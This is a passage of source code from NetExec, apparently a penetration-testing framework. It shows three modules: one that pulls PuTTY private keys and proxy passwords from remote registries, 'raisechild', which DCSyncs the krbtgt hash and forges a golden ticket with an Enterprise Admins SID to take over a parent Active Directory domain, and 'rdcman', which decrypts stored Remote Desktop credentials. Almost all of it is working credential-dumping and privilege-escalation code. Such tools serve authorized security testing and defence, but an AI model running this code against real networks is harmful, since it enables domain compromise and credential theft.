private Key Path private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0] proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0] proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1] proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0] proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0] # Session infos hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0] port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1] protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0] sessions.append({ "user": self.user_dict[user], "session_name": unquote(session_name), "hostname": hostname, "port": port, "protocol": protocol, "private_key_path": private_key_path, "proxy_host": proxy_host, "proxy_port": proxy_port, "proxy_username": proxy_username, "proxy_password": proxy_password }) rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}") except Exception as e: self.context.log.fail(f"Unexpected error: {e}") self.context.log.debug(traceback.format_exc()) return sessions def extract_session(self, sessions): proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" for session in sessions: if session["private_key_path"]: makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True) share = session["private_key_path"].split(":")[0] + "$" file_path = session["private_key_path"].split(":")[1] download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec" buf = BytesIO() with open(download_path, "wb") as file: try: self.connection.conn.getFile(share, file_path, buf.write) except Exception as e: if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1: self.context.log.fail(f"Private key path found but file not found: {share + file_path}") else: self.context.log.exception(f"Error downloading private key: {e}") continue file.write(buf.getvalue()) self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}") self.context.log.highlight(f"Sessionname: {session['session_name']}") self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}") self.context.log.highlight(f"Protocol: {session['protocol']}") if session["proxy_password"]: self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"") self.context.log.highlight(f"Sessionname: {session['session_name']}") self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}") self.context.log.highlight(f"Protocol: {session['protocol']}") self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}") self.context.log.highlight(f"Proxy Username: {session['proxy_username']}") self.context.log.highlight(f"Proxy Password: {session['proxy_password']}") with open(proxycreds_file, "a") as f: f.write("================\n") f.write(f"User: {session['user']}\n") f.write(f"Sessionname: {session['session_name']}\n") f.write(f"Host: {session['hostname']}:{session['port']}\n") f.write(f"Protocol: {session['protocol']}\n") f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n") f.write(f"Proxy Username: {session['proxy_username']}\n") f.write(f"Proxy Password: {session['proxy_password']}\n") self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}") def on_admin_login(self, context, connection): self.connection = connection self.context = context try: self.rrp = RemoteOperations(connection.conn, connection.kerberos) self.rrp.enableRegistry() all_users = self.get_all_users() loaded_user_objects = self.get_logged_on_users() self.user_dict = self.sid_to_name(all_users) # Users which must be loaded into registry: unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects))) self.load_missing_users(unloaded_user_objects) sessions = self.get_private_key_paths(all_users) if sessions: self.extract_session(sessions) else: self.context.log.info("No saved putty sessions found in registry") self.unload_missing_users(unloaded_user_objects) except Exception as e: context.log.exception(f"Error: {e}") finally: self.rrp.finish() NetExec-1.5.1/nxc/modules/raisechild.py000066400000000000000000000700121514706431700200020ustar00rootroot00000000000000import os import datetime import re from contextlib import suppress from impacket.smbconnection import SMBConnection from impacket.examples.secretsdump import RemoteOperations, NTDSHashes from impacket.dcerpc.v5.drsuapi import DCERPCSessionError from calendar import timegm from binascii import unhexlify from pyasn1.codec.der import encoder from pyasn1.type.univ import noValue from impacket.krb5.asn1 import AS_REP, EncTicketPart, EncASRepPart, AuthorizationData from impacket.krb5.types import KerberosTime from impacket.krb5.constants import ApplicationTagNumbers, ProtocolVersionNumber, PrincipalNameType, TicketFlags, AuthorizationDataType, EncryptionTypes, ChecksumTypes, KERB_NON_KERB_CKSUM_SALT, encodeFlags from impacket.krb5.crypto import Key, _enctype_table, _checksum_table from impacket.krb5.ccache import CCache from impacket.krb5.pac import VALIDATION_INFO, KERB_VALIDATION_INFO, PAC_LOGON_INFO, PAC_CLIENT_INFO, PAC_CLIENT_INFO_TYPE, PAC_REQUESTOR, PAC_REQUESTOR_INFO, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, KERB_SID_AND_ATTRIBUTES from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL from nxc.parsers.ldap_results import parse_result_attributes from nxc.helpers.misc import CATEGORY # Encryption type configurations: enctype, checksum, signature size, session key size ETYPE_CONFIG = { "rc4": (EncryptionTypes.rc4_hmac.value, ChecksumTypes.hmac_md5.value, 16, 16), "aes128": (EncryptionTypes.aes128_cts_hmac_sha1_96.value, ChecksumTypes.hmac_sha1_96_aes128.value, 12, 16), "aes256": (EncryptionTypes.aes256_cts_hmac_sha1_96.value, ChecksumTypes.hmac_sha1_96_aes256.value, 12, 32), } class NXCModule: """Module made by @azoxlpf""" name = "raisechild" description = "Compromise parent domain from child domain via trust abuse" supported_protocols = ["ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.parent_domain = None self.parent_sid = None self.child_sid = None self.child_domain = None self.target_dc = None self.valid_tgt = None self.new_ticket = None self.krbtgt_hash = "" self.aes128_key = "" self.aes256_key = "" self.etype = "rc4" def options(self, context, module_options): """ Forge a Kerberos TGT using the child domain's krbtgt hash, with an extra SID targeting privileged groups in the parent domain. Requires an existing trust with the parent. USER Target username to forge the ticket for (default: Administrator) USER_ID RID used as the user ID in the PAC (default: 500) RID RID used for the extra SID (default: 519 = Enterprise Admins) ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4) Examples: netexec ldap -u -p -M raisechild -o USER=DC01$ netexec ldap -u -p -M raisechild -o USER_ID=1001 netexec ldap -u -p -M raisechild -o RID=512 netexec ldap -u -p -M raisechild -o ETYPE=aes256 """ self.context = context self.module_options = module_options self.etype = module_options.get("ETYPE", "rc4").lower() def on_admin_login(self, context, connection): self.context = context context.log.display("Running raisechild module...") self.get_domain_sid(connection) self.get_parent_info(connection) if not self.parent_domain or not self.parent_sid: context.log.fail("No parent trust (AD + inbound) found.") return self.get_krbtgt_hash(connection) def get_parent_info(self, connection): base_dn = f"CN=System,{connection.baseDN}" attributes = ["name", "trustPartner", "securityIdentifier", "trustDirection", "trustType"] try: response = connection.search( searchFilter="(objectClass=trustedDomain)", attributes=attributes, baseDN=base_dn, ) trusts = parse_result_attributes(response) self.context.log.debug(f"TrustedDomain objects: {trusts}") for trust in trusts: trust_name = trust.get("name") trust_partner = trust.get("trustPartner") trust_sid = trust.get("securityIdentifier") trust_direction = int(trust.get("trustDirection", 0)) trust_type = int(trust.get("trustType", 0)) # 2 = TRUST_TYPE_UPLEVEL; direction 1 (inbound) or 3 (bi-directional) if trust_type == 2 and trust_direction in (1, 3): self.parent_domain = trust_partner or trust_name try: revision = trust_sid[0] count = trust_sid[1] id_auth = int.from_bytes(trust_sid[2:8], byteorder="big") sub_auths = [ str(int.from_bytes(trust_sid[8 + i * 4 : 12 + i * 4], byteorder="little")) for i in range(count) ] trust_sid = f"S-{revision}-{id_auth}-" + "-".join(sub_auths) except Exception as e: self.context.log.fail(f"Failed to convert parent SID to string: {e}") trust_sid = None self.parent_sid = trust_sid self.context.log.highlight(f"Parent domain name: {self.parent_domain}") self.context.log.highlight(f"Parent domain SID: {self.parent_sid}") return except Exception as e: self.context.log.fail(f"Failed to query trustedDomain entries: {e}") def get_domain_sid(self, connection): if connection.sid_domain: self.child_sid = connection.sid_domain self.context.log.highlight(f"Child Domain SID: {self.child_sid}") else: self.context.log.fail("Could not retrieve child domain SID from connection.") def _get_smb_session(self, ldap_conn): smb = SMBConnection( remoteName=ldap_conn.hostname, remoteHost=ldap_conn.host, sess_port=445, ) if ldap_conn.kerberos: smb.kerberosLogin( user=ldap_conn.username, password=ldap_conn.password, domain=ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash, aesKey=ldap_conn.aesKey, kdcHost=ldap_conn.kdcHost, useCache=ldap_conn.use_kcache, ) elif ldap_conn.nthash or ldap_conn.lmhash: # NTLM pass-the-hash smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash) else: # NTLM with cleartext password smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain) return smb def _get_domain_netbios(self, ldap_conn): resp = ldap_conn.search( baseDN=f"CN=Partitions,{ldap_conn.configuration_context}", searchFilter=f"(&(objectCategory=crossRef)(dnsRoot={ldap_conn.targetDomain})(nETBIOSName=*))", attributes=["nETBIOSName"], ) entries = parse_result_attributes(resp) return entries[0]["nETBIOSName"] def _dcsync_krbtgt(self, smb_conn, ldap_conn): try: rop = RemoteOperations( smb_conn, doKerberos=ldap_conn.kerberos, kdcHost=ldap_conn.kdcHost, ) rop.enableRegistry() boot_key = rop.getBootKey() domain_netbios = self._get_domain_netbios(ldap_conn) target_user = f"{domain_netbios}/krbtgt" def grab_hash(secret_type, secret): if secret_type == NTDSHashes.SECRET_TYPE.NTDS: self.krbtgt_hash = secret elif secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: if "aes256-cts-hmac-sha1-96" in secret.lower(): self.aes256_key = secret.split(":")[-1] elif "aes128-cts-hmac-sha1-96" in secret.lower(): self.aes128_key = secret.split(":")[-1] ntds = NTDSHashes( None, boot_key, isRemote=True, noLMHash=True, remoteOps=rop, justNTLM=self.etype == "rc4", justUser=target_user, printUserStatus=False, perSecretCallback=grab_hash, ) ntds.dump() secret = {"rc4": self.krbtgt_hash, "aes128": self.aes128_key, "aes256": self.aes256_key}.get(self.etype) label = "hash" if self.etype == "rc4" else f"{self.etype.upper()} key" if secret: self.context.log.highlight(f"krbtgt {label}: {secret}") else: self.context.log.fail(f"DCSync completed - krbtgt {label} not found!") except DCERPCSessionError as e: self.context.log.fail(f"RPC DRSUAPI error: {e}") except Exception as e: self.context.log.fail(f"DCSync error: {e}") finally: with suppress(Exception): if ntds: ntds.finish() with suppress(Exception): if rop: rop.finish() with suppress(Exception): smb_conn.logoff() def get_krbtgt_hash(self, connection): try: smb_conn = self._get_smb_session(connection) self._dcsync_krbtgt(smb_conn, connection) except Exception as e: self.context.log.fail(f"Error during DCSync: {e}") return if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key): try: tgt = self.forge_golden_ticket(connection) self.context.log.success(f"Golden ticket forged successfully (etype: {self.etype}). Saved to: {tgt}") self.context.log.success(f"Run the following command to use the TGT: export KRB5CCNAME={tgt}") self.forged_tgt = tgt except Exception as e: self.context.log.fail(f"Error while generating golden ticket : {e}") else: self.context.log.fail(f"Cannot forge ticket: required hash/key for etype '{self.etype}' not found.") def forge_golden_ticket(self, connection): """ Forge a golden ticket for the parent domain using the krbtgt key. Supports optional USER, RID, USER_ID and ETYPE module options. """ admin_name = self.module_options.get("USER", "Administrator") extra_rid = str(self.module_options.get("RID", "519")) extra_sid = f"{self.parent_sid}-{extra_rid}" user_rid = str(self.module_options.get("USER_ID", "500")) domain_upper = connection.domain.upper() groups_list = [513, 512, 520, 518, 519] # Create ticket enctype_value, checksum_type, sig_size, key_size = ETYPE_CONFIG[self.etype] key_map = {"rc4": self.krbtgt_hash, "aes128": self.aes128_key, "aes256": self.aes256_key} raw_key = self._clean_nthash(key_map[self.etype]) if self.etype == "rc4" else key_map[self.etype] krbtgt_key = Key(_enctype_table[enctype_value].enctype, unhexlify(raw_key)) validation_info = self._createBasicValidationInfo(admin_name, domain_upper, self.child_sid, groups_list, int(user_rid)) pac_infos = self._createBasicPac(validation_info, admin_name, checksum_type, sig_size) self._createRequestorInfoPac(pac_infos, self.child_sid, int(user_rid)) as_rep = self._buildAsrep(domain_upper, admin_name, enctype_value) enc_asrep_part, enc_ticket_part, pac_infos = self._buildEncParts(as_rep, domain_upper, admin_name, 87600, enctype_value, pac_infos, key_size) self._injectExtraSids(pac_infos, extra_sid) encoded_asrep, client_session_key = self._signEncryptTicket(as_rep, enc_asrep_part, enc_ticket_part, pac_infos, krbtgt_key, enctype_value) return self._saveTicket(admin_name, encoded_asrep, client_session_key) def _clean_nthash(self, raw): if ":" in raw: parts = raw.split(":") if len(parts) >= 4: raw = parts[3] raw = raw.strip() if not re.fullmatch(r"[0-9a-fA-F]{32}", raw): raise ValueError(f"Invalid NT-hash format : {raw}") return raw.lower() # Rest is stolen from impacket's ticketer.py @staticmethod def _getFileTime(unix_seconds: int) -> int: return unix_seconds * 10_000_000 + 116_444_736_000_000_000 @staticmethod def _getPadLength(length: int) -> int: return ((length + 7) // 8 * 8) - length @staticmethod def _getBlockLength(length: int) -> int: return (length + 7) // 8 * 8 def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO: kerbdata = KERB_VALIDATION_INFO() now_utc = datetime.datetime.now(datetime.timezone.utc) now_unix = timegm(now_utc.timetuple()) now_filetime = self._getFileTime(now_unix) kerbdata["LogonTime"]["dwLowDateTime"] = now_filetime & 0xFFFFFFFF kerbdata["LogonTime"]["dwHighDateTime"] = now_filetime >> 32 kerbdata["LogoffTime"]["dwLowDateTime"] = 0xFFFFFFFF kerbdata["LogoffTime"]["dwHighDateTime"] = 0x7FFFFFFF kerbdata["KickOffTime"]["dwLowDateTime"] = 0xFFFFFFFF kerbdata["KickOffTime"]["dwHighDateTime"] = 0x7FFFFFFF kerbdata["PasswordLastSet"]["dwLowDateTime"] = now_filetime & 0xFFFFFFFF kerbdata["PasswordLastSet"]["dwHighDateTime"] = now_filetime >> 32 kerbdata["PasswordCanChange"]["dwLowDateTime"] = 0 kerbdata["PasswordCanChange"]["dwHighDateTime"] = 0 kerbdata["PasswordMustChange"]["dwLowDateTime"] = 0xFFFFFFFF kerbdata["PasswordMustChange"]["dwHighDateTime"] = 0x7FFFFFFF kerbdata["EffectiveName"] = username kerbdata["FullName"] = "" kerbdata["LogonScript"] = "" kerbdata["ProfilePath"] = "" kerbdata["HomeDirectory"] = "" kerbdata["HomeDirectoryDrive"] = "" kerbdata["LogonCount"] = 500 kerbdata["BadPasswordCount"] = 0 kerbdata["UserId"] = int(user_rid) primary_group_id = int(groups[0]) if groups else 513 kerbdata["PrimaryGroupId"] = primary_group_id kerbdata["GroupCount"] = len(groups) for group_rid in (groups or [513]): membership = GROUP_MEMBERSHIP() ndr_rid = NDRULONG() ndr_rid["Data"] = int(group_rid) membership["RelativeId"] = ndr_rid membership["Attributes"] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata["GroupIds"].append(membership) kerbdata["UserFlags"] = 0 kerbdata["UserSessionKey"] = b"\x00" * 16 kerbdata["LogonServer"] = "" kerbdata["LogonDomainName"] = domain kerbdata["LogonDomainId"].fromCanonical(domain_sid) kerbdata["LMKey"] = b"\x00" * 8 kerbdata["UserAccountControl"] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata["SubAuthStatus"] = 0 kerbdata["LastSuccessfulILogon"]["dwLowDateTime"] = 0 kerbdata["LastSuccessfulILogon"]["dwHighDateTime"] = 0 kerbdata["LastFailedILogon"]["dwLowDateTime"] = 0 kerbdata["LastFailedILogon"]["dwHighDateTime"] = 0 kerbdata["FailedILogonCount"] = 0 kerbdata["Reserved3"] = 0 kerbdata["ResourceGroupDomainSid"] = NULL kerbdata["ResourceGroupCount"] = 0 kerbdata["ResourceGroupIds"] = NULL validation_info = VALIDATION_INFO() validation_info["Data"] = kerbdata return validation_info def _createBasicPac(self, validation_info: VALIDATION_INFO, username: str, checksum_type: int, sig_size: int) -> dict: pac_infos: dict[int, bytes] = {} pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents() server_checksum_placeholder = PAC_SIGNATURE_DATA() private_checksum_placeholder = PAC_SIGNATURE_DATA() server_checksum_placeholder["SignatureType"] = checksum_type private_checksum_placeholder["SignatureType"] = checksum_type server_checksum_placeholder["Signature"] = b"\x00" * sig_size private_checksum_placeholder["Signature"] = b"\x00" * sig_size pac_infos[PAC_SERVER_CHECKSUM] = server_checksum_placeholder.getData() pac_infos[PAC_PRIVSVR_CHECKSUM] = private_checksum_placeholder.getData() client_info = PAC_CLIENT_INFO() client_name_utf16 = username.encode("utf-16le") client_info["Name"] = client_name_utf16 client_info["NameLength"] = len(client_name_utf16) pac_infos[PAC_CLIENT_INFO_TYPE] = client_info.getData() return pac_infos def _createRequestorInfoPac(self, pac_infos: dict, domain_sid: str, user_rid: int) -> None: requestor = PAC_REQUESTOR() requestor["UserSid"] = SID() requestor["UserSid"].fromCanonical(f"{domain_sid}-{int(user_rid)}") pac_infos[PAC_REQUESTOR_INFO] = requestor.getData() def _buildAsrep(self, domain: str, username: str, enctype_value: int) -> AS_REP: as_rep = AS_REP() as_rep["msg-type"] = ApplicationTagNumbers.AS_REP.value as_rep["pvno"] = 5 as_rep["crealm"] = domain as_rep["cname"] = noValue as_rep["cname"]["name-type"] = PrincipalNameType.NT_PRINCIPAL.value as_rep["cname"]["name-string"] = noValue as_rep["cname"]["name-string"][0] = username as_rep["ticket"] = noValue as_rep["ticket"]["tkt-vno"] = ProtocolVersionNumber.pvno.value as_rep["ticket"]["realm"] = domain as_rep["ticket"]["sname"] = noValue as_rep["ticket"]["sname"]["name-type"] = PrincipalNameType.NT_SRV_INST.value as_rep["ticket"]["sname"]["name-string"] = noValue as_rep["ticket"]["sname"]["name-string"][0] = "krbtgt" as_rep["ticket"]["sname"]["name-string"][1] = domain as_rep["ticket"]["enc-part"] = noValue as_rep["ticket"]["enc-part"]["kvno"] = 2 as_rep["ticket"]["enc-part"]["etype"] = enctype_value as_rep["enc-part"] = noValue as_rep["enc-part"]["kvno"] = 2 as_rep["enc-part"]["etype"] = enctype_value as_rep["enc-part"]["cipher"] = noValue return as_rep def _injectExtraSids(self, pac_infos: dict, extra_sid_csv: str | None) -> None: if not extra_sid_csv or PAC_LOGON_INFO not in pac_infos: return current_blob = pac_infos[PAC_LOGON_INFO] validation_info = VALIDATION_INFO() validation_info.fromString(current_blob) base_len = len(validation_info.getData()) validation_info.fromStringReferents(current_blob, base_len) validation_info["Data"]["UserFlags"] |= 0x20 # LOGON_EXTRA_SIDS if validation_info["Data"]["SidCount"] == 0 or not validation_info["Data"]["ExtraSids"]: validation_info["Data"]["ExtraSids"] = PKERB_SID_AND_ATTRIBUTES_ARRAY() validation_info["Data"]["SidCount"] = 0 for sid_txt in str(extra_sid_csv).split(","): sid_txt = sid_txt.strip() if not sid_txt: continue sid_and_attr = KERB_SID_AND_ATTRIBUTES() rpc_sid = RPC_SID() rpc_sid.fromCanonical(sid_txt) sid_and_attr["Sid"] = rpc_sid sid_and_attr["Attributes"] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validation_info["Data"]["ExtraSids"].append(sid_and_attr) validation_info["Data"]["SidCount"] += 1 pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents() def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]: now_utc = datetime.datetime.now(datetime.timezone.utc) end_utc = now_utc + datetime.timedelta(hours=duration_hours) enc_ticket_part = EncTicketPart() enc_ticket_part["flags"] = encodeFlags([ TicketFlags.forwardable.value, TicketFlags.proxiable.value, TicketFlags.renewable.value, TicketFlags.pre_authent.value, TicketFlags.initial.value, ]) enc_ticket_part["key"] = noValue enc_ticket_part["key"]["keytype"] = enctype_value enc_ticket_part["key"]["keyvalue"] = os.urandom(key_size) enc_ticket_part["crealm"] = domain enc_ticket_part["cname"] = noValue enc_ticket_part["cname"]["name-type"] = PrincipalNameType.NT_PRINCIPAL.value enc_ticket_part["cname"]["name-string"] = noValue enc_ticket_part["cname"]["name-string"][0] = username enc_ticket_part["transited"] = noValue enc_ticket_part["transited"]["tr-type"] = 0 enc_ticket_part["transited"]["contents"] = "" enc_ticket_part["authtime"] = KerberosTime.to_asn1(now_utc) enc_ticket_part["starttime"] = KerberosTime.to_asn1(now_utc) enc_ticket_part["endtime"] = KerberosTime.to_asn1(end_utc) enc_ticket_part["renew-till"] = KerberosTime.to_asn1(end_utc) enc_ticket_part["authorization-data"] = noValue enc_ticket_part["authorization-data"][0] = noValue enc_ticket_part["authorization-data"][0]["ad-type"] = AuthorizationDataType.AD_IF_RELEVANT.value enc_ticket_part["authorization-data"][0]["ad-data"] = noValue if PAC_CLIENT_INFO_TYPE in pac_infos: client_id_filetime = self._getFileTime(timegm(now_utc.timetuple())) pac_client_info = PAC_CLIENT_INFO(pac_infos[PAC_CLIENT_INFO_TYPE]) pac_client_info["ClientId"] = client_id_filetime pac_infos[PAC_CLIENT_INFO_TYPE] = pac_client_info.getData() enc_asrep_part = EncASRepPart() enc_asrep_part["key"] = noValue enc_asrep_part["key"]["keytype"] = enctype_value enc_asrep_part["key"]["keyvalue"] = enc_ticket_part["key"]["keyvalue"] enc_asrep_part["last-req"] = noValue enc_asrep_part["last-req"][0] = noValue enc_asrep_part["last-req"][0]["lr-type"] = 0 enc_asrep_part["last-req"][0]["lr-value"] = KerberosTime.to_asn1(now_utc) enc_asrep_part["nonce"] = 123456789 enc_asrep_part["key-expiration"] = KerberosTime.to_asn1(end_utc) enc_asrep_part["flags"] = list(enc_ticket_part["flags"]) enc_asrep_part["authtime"] = str(enc_ticket_part["authtime"]) enc_asrep_part["endtime"] = str(enc_ticket_part["endtime"]) enc_asrep_part["starttime"] = str(enc_ticket_part["starttime"]) enc_asrep_part["renew-till"] = str(enc_ticket_part["renew-till"]) enc_asrep_part["srealm"] = domain enc_asrep_part["sname"] = noValue enc_asrep_part["sname"]["name-type"] = PrincipalNameType.NT_SRV_INST.value enc_asrep_part["sname"]["name-string"] = noValue enc_asrep_part["sname"]["name-string"][0] = "krbtgt" enc_asrep_part["sname"]["name-string"][1] = domain return enc_asrep_part, enc_ticket_part, pac_infos def _signEncryptTicket(self, as_rep: AS_REP, enc_asrep_part: EncASRepPart, enc_ticket_part: EncTicketPart, pac_infos: dict, krbtgt_key: Key, enctype_value: int) -> tuple[bytes, Key]: def zero_pad(n: int) -> bytes: return b"\x00" * self._getPadLength(n) pac_buffer_order = [PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_REQUESTOR_INFO, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM] pac_blobs_with_padding: list[tuple[int, bytes, bytes]] = [] for buffer_type in pac_buffer_order: buffer_bytes = pac_infos[buffer_type] pac_blobs_with_padding.append((buffer_type, buffer_bytes, zero_pad(len(buffer_bytes)))) buffer_count = len(pac_buffer_order) pac_info_buffer_header_size = len(PAC_INFO_BUFFER().getData()) current_data_offset = 8 + pac_info_buffer_header_size * buffer_count def make_info_buffer(ul_type: int, blob_length: int) -> PAC_INFO_BUFFER: nonlocal current_data_offset info_buffer = PAC_INFO_BUFFER() info_buffer["ulType"] = ul_type info_buffer["cbBufferSize"] = blob_length info_buffer["Offset"] = current_data_offset current_data_offset = self._getBlockLength(current_data_offset + blob_length) return info_buffer info_buffers: list[PAC_INFO_BUFFER] = [] for buffer_type, buffer_bytes, _ in pac_blobs_with_padding: info_buffers.append(make_info_buffer(buffer_type, len(buffer_bytes))) buffers_header_bytes = b"".join(info_buffer.getData() for info_buffer in info_buffers) buffers_data_bytes = b"".join(buffer_bytes + padding for _, buffer_bytes, padding in pac_blobs_with_padding) pac_type = PACTYPE() pac_type["cBuffers"] = buffer_count pac_type["Version"] = 0 pac_type["Buffers"] = buffers_header_bytes + buffers_data_bytes pac_bytes_for_checksum = pac_type.getData() server_checksum_struct = PAC_SIGNATURE_DATA(pac_infos[PAC_SERVER_CHECKSUM]) kdc_checksum_struct = PAC_SIGNATURE_DATA(pac_infos[PAC_PRIVSVR_CHECKSUM]) checksum_function_server = _checksum_table[server_checksum_struct["SignatureType"]] checksum_function_kdc = _checksum_table[kdc_checksum_struct["SignatureType"]] server_checksum_struct["Signature"] = checksum_function_server.checksum(krbtgt_key, KERB_NON_KERB_CKSUM_SALT, pac_bytes_for_checksum) kdc_checksum_struct["Signature"] = checksum_function_kdc.checksum(krbtgt_key, KERB_NON_KERB_CKSUM_SALT, server_checksum_struct["Signature"]) rebuilt_blobs: list[bytes] = [] for buffer_type, buffer_bytes, padding in pac_blobs_with_padding: if buffer_type == PAC_SERVER_CHECKSUM: buffer_bytes = server_checksum_struct.getData() elif buffer_type == PAC_PRIVSVR_CHECKSUM: buffer_bytes = kdc_checksum_struct.getData() rebuilt_blobs.append(buffer_bytes + padding) pac_type["Buffers"] = buffers_header_bytes + b"".join(rebuilt_blobs) authorization_data = AuthorizationData() authorization_data[0] = noValue authorization_data[0]["ad-type"] = AuthorizationDataType.AD_WIN2K_PAC.value authorization_data[0]["ad-data"] = pac_type.getData() enc_ticket_part["authorization-data"][0]["ad-data"] = encoder.encode(authorization_data) ticket_cipher = _enctype_table[enctype_value] enc_ticket_part_bytes = encoder.encode(enc_ticket_part) encrypted_ticket_ciphertext = ticket_cipher.encrypt(krbtgt_key, 2, enc_ticket_part_bytes, None) as_rep["ticket"]["enc-part"]["cipher"] = encrypted_ticket_ciphertext as_rep["ticket"]["enc-part"]["kvno"] = 2 enc_asrep_part_bytes = encoder.encode(enc_asrep_part) client_session_key = Key(ticket_cipher.enctype, enc_asrep_part["key"]["keyvalue"].asOctets()) encrypted_encpart_ciphertext = ticket_cipher.encrypt(client_session_key, 3, enc_asrep_part_bytes, None) as_rep["enc-part"]["cipher"] = encrypted_encpart_ciphertext as_rep["enc-part"]["etype"] = ticket_cipher.enctype as_rep["enc-part"]["kvno"] = 1 return encoder.encode(as_rep), client_session_key def _saveTicket(self, username: str, encoded_asrep: bytes, client_session_key: Key) -> str: ccache = CCache() ccache.fromTGT(encoded_asrep, client_session_key, client_session_key) out_path = f"{username}.ccache" ccache.saveFile(out_path) return out_path NetExec-1.5.1/nxc/modules/rdcman.py000066400000000000000000000060511514706431700171410ustar00rootroot00000000000000from dploot.triage.rdg import RDGTriage, RDGServerProfile from dploot.lib.target import Target from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "rdcman" description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ """ def on_admin_login(self, context, connection): username = connection.username password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") self.pvkbytes = get_domain_backup_key(connection) target = Target.create( domain=connection.domain, username=username, password=password, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, lmhash=getattr(connection, "lmhash", ""), nthash=nthash, do_kerberos=connection.kerberos, aesKey=connection.aesKey, no_pass=True, use_kcache=getattr(connection, "use_kcache", False), ) conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) if conn is None: context.log.debug("Could not upgrade connection") return self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets") try: triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys) rdcman_files, rdgfiles = triage.triage_rdcman() for rdcman_file in rdcman_files: if rdcman_file is None: continue for rdg_cred in rdcman_file.rdg_creds: log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") for rdgfile in rdgfiles: if rdgfile is None: continue for rdg_cred in rdgfile.rdg_creds: log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: 